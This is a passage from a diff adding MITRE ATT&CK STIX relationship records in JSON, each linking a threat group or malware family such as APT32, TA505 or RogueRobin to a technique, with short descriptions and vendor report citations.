"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6dc0069c-5e6a-474f-946d-cc1cd13bc486", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has exfiltrated data using the already opened channel with its C&C server.(Citation: ESET OceanLotus Mar 2019)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2019-07-17T13:11:38.717Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-01T21:09:50.295Z", + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a933bad9-0f92-4a25-9b46-19120737caee", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor possesses the capability to list files and directories on a machine. (Citation: ESET OceanLotus Mar 2019)\t\n", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2019-07-17T13:11:38.731Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-01T21:09:50.332Z", + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--46144407-0f14-4358-8d4e-23b3ef13cb4e", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor can query the Windows Registry to gather system information. (Citation: ESET OceanLotus Mar 2019)", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "modified": "2019-07-17T13:11:38.735Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-01T21:09:50.335Z", + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7723037f-0b2e-447b-811a-d18a109570bb", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has used LZMA compression and RC4 encryption before exfiltration.(Citation: ESET OceanLotus Mar 2019)", + "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "modified": "2020-03-30T01:51:57.341Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-01T21:09:50.338Z", + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). 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(2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf" + }, + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--78ca7fcf-95b9-485c-a87b-2ac083312885", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used malware like WhiskeyAlfa to overwrite the first 64MB of every drive with a mix of static and random buffers. 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Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b9ca1199-cb71-4435-84ec-75aee916d1ae", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has renamed files to look like legitimate files, such as Windows update files or Schneider Electric application files.(Citation: FireEye TRITON 2019)\n", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2020-03-18T16:09:29.302Z", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-16T15:21:57.810Z", + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). 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Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--49eb0604-2dee-4dcd-8029-cdd478033749", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) can be loaded through regsvr32.exe.(Citation: Cybereason Astaroth Feb 2019)", + "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "modified": "2019-09-09T19:23:37.338Z", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-17T13:46:38.895Z", + "external_references": [ + { + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", + "description": "Salem, E. (2019, February 13). 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Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--87a90347-6f15-461c-a44c-9acf503a606b", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.(Citation: Cybereason Astaroth Feb 2019)(Citation: Securelist Brazilian Banking Malware July 2020)", + "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "modified": "2020-12-08T21:14:50.033Z", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-17T13:46:38.897Z", + "external_references": [ + { + "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. 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Retrieved November 9, 2020.", + "source_name": "Securelist Brazilian Banking Malware July 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ad7770c3-fe24-4285-9ce2-1616a1061472", + "description": "(Citation: FireEye FIN6 Apr 2019)", + "target_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "modified": "2019-06-28T14:59:17.849Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-17T14:45:59.681Z", + "external_references": [ + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. 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(2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--551c4e98-3dfb-472b-8fa8-6a8961dfd418", + "description": "[Remexi](https://attack.mitre.org/software/S0375) performs exfiltration over [BITSAdmin](https://attack.mitre.org/software/S0190), which is also used for the C2 channel.(Citation: Securelist Remexi Jan 2019)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2019-04-22T20:18:07.133Z", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-17T22:55:43.579Z", + "external_references": [ + { + "url": "https://securelist.com/chafer-used-remexi-malware/89538/", + "description": "Legezo, D. (2019, January 30). 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Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--93b08370-9c05-47df-b067-368343dba24a", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses WMI to check BIOS version for VBOX, bochs, qemu, virtualbox, and vm to check for evidence that the script might be executing within an analysis environment. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "modified": "2020-03-16T18:30:11.263Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-18T00:26:13.521Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018" + }, + { + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8b5691c7-1815-4d76-a7dd-dfd827043bb9", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used password spraying to gain access to target systems.(Citation: FireEye APT33 Guardrail)(Citation: Microsoft Holmium June 2020)", + "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", + "modified": "2020-06-22T20:15:32.352Z", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-18T14:44:18.146Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail" + }, + { + "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/", + "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020.", + "source_name": "Microsoft Holmium June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--70a17629-6b01-4764-932b-8be576270329", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as \u201chacked,\" \"phish,\" and \u201cmalware\" in a likely attempt to prevent organizations from communicating about their activities.(Citation: FireEye Hacking FIN4 Dec 2014)", + "target_ref": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff", + "modified": "2021-06-14T16:01:27.036Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-18T20:13:56.028Z", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c551c942-a191-4fe9-81a3-cc795d7dea38", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used msiexec to download and execute malicious installer files over HTTP.(Citation: Rancor Unit42 June 2018)", + "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", + "modified": "2020-03-17T14:38:38.680Z", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-18T20:25:31.123Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f304b74c-85c7-4bd6-85bc-bec918a4fb7e", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) decodes an embedded executable using base64 and decompresses it.(Citation: Unit42 DarkHydrus Jan 2019)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2019-04-24T23:55:43.447Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-19T12:37:34.734Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6246955e-05ae-4bd8-8ac7-c02447634486", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses regsvr32.exe to run a .sct file for execution.(Citation: Unit42 DarkHydrus Jan 2019)", + "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "modified": "2019-04-24T23:55:43.443Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-19T12:37:34.748Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--16ad2735-61b3-4cb4-8f23-439df70715c8", + "description": "[Duqu](https://attack.mitre.org/software/S0038) has used msiexec to execute malicious Windows Installer packages. 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Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--895a3c63-26d1-4846-8b8d-8f6b2c266910", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251)'s Delphi variant was packed with UPX.(Citation: Unit42 Sofacy Dec 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "modified": "2019-07-17T01:18:33.123Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-19T13:42:46.194Z", + "external_references": [ + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--73321011-c231-402e-a6bb-b9fd6cf6b658", + "description": "[APT28](https://attack.mitre.org/groups/G0007) used weaponized Microsoft Word documents abusing the remote template function to retrieve a malicious macro. (Citation: Unit42 Sofacy Dec 2018)", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "modified": "2020-03-20T16:37:06.244Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-19T13:58:34.860Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "source_name": "Unit42 Sofacy Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--88587bdd-ea5a-4d80-af9f-cc900c5705e3", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has a module that checks a number of indicators on the system to determine if its running on a virtual machine.(Citation: GitHub Pupy)", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "modified": "2020-03-27T23:26:38.031Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-19T14:04:47.199Z", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). 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(Citation: Talos GravityRAT)", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "modified": "2020-03-16T18:22:28.599Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-19T14:16:54.989Z", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. 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(Citation: Unit42 PlugX June 2017)", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "modified": "2020-03-16T18:28:26.352Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-19T15:08:15.767Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/unit42-paranoid-plugx/", + "description": "Lancaster, T., Idrizovic, E. (2017, June 27). Paranoid PlugX. Retrieved April 19, 2019.", + "source_name": "Unit42 PlugX June 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--750c8d62-74f3-4566-95fc-97f1685c9ca0", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) checks for virtualization software such as VMWare, VirtualBox, or QEmu on the compromised machine.(Citation: PaloAlto UBoatRAT Nov 2017)", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "modified": "2020-03-16T18:33:23.476Z", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-19T15:10:04.322Z", + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. 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(2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "source_name": "Microsoft FinFisher March 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6cd1da58-6532-4800-816c-d1a74d586cdc", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) can launch cmd.exe to execute commands on the system.(Citation: US-CERT HOPLIGHT Apr 2019)\t", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T02:23:34.918Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-19T15:30:36.725Z", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. 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Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "ProofPoint SettingContent-ms July 2018", + "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat" + }, + { + "source_name": "Proofpoint TA505 Mar 2018", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", + "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.", + "source_name": "Trend Micro TA505 June 2019" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.", + "source_name": "Proofpoint TA505 October 2019" + }, + { + "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", + "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020.", + "source_name": "IBM TA505 April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f0e944fa-6dba-47c3-920a-cf7bad2d3bc5", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has leveraged malicious Word documents that abused DDE.(Citation: Proofpoint TA505 June 2018)", + "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "modified": "2019-06-24T19:11:41.253Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T16:36:50.726Z", + "external_references": [ + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. 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Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5aaee352-e4b5-4d4c-b021-9f38adb346da", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used VBS for code execution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Trend Micro TA505 June 2019)(Citation: IBM TA505 April 2020)", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2020-06-01T15:46:47.950Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T16:53:41.745Z", + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. 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Retrieved May 29, 2020.", + "source_name": "Trend Micro TA505 June 2019" + }, + { + "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", + "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020.", + "source_name": "IBM TA505 April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c99ee3c6-7d62-4514-bdac-4bf899ea0c16", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used a wide variety of ransomware, such as Locky, Jaff, Bart, Philadelphia, and GlobeImposter, to encrypt victim files and demand a ransom payment.(Citation: Proofpoint TA505 Sep 2017)", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "modified": "2019-06-24T19:11:41.343Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T18:49:59.305Z", + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). 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Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--53e89989-29a6-461f-854c-42eb96b221b3", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has password-protected malicious Word documents and used base64 encoded PowerShell commands.(Citation: Proofpoint TA505 Sep 2017)(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-06-24T19:11:41.446Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T18:49:59.330Z", + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. 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Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--49d6508c-f350-4376-ba32-f64693d7fd10", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used lures to get users to enable content in malicious attachments and execute malicious files contained in archives. For example, 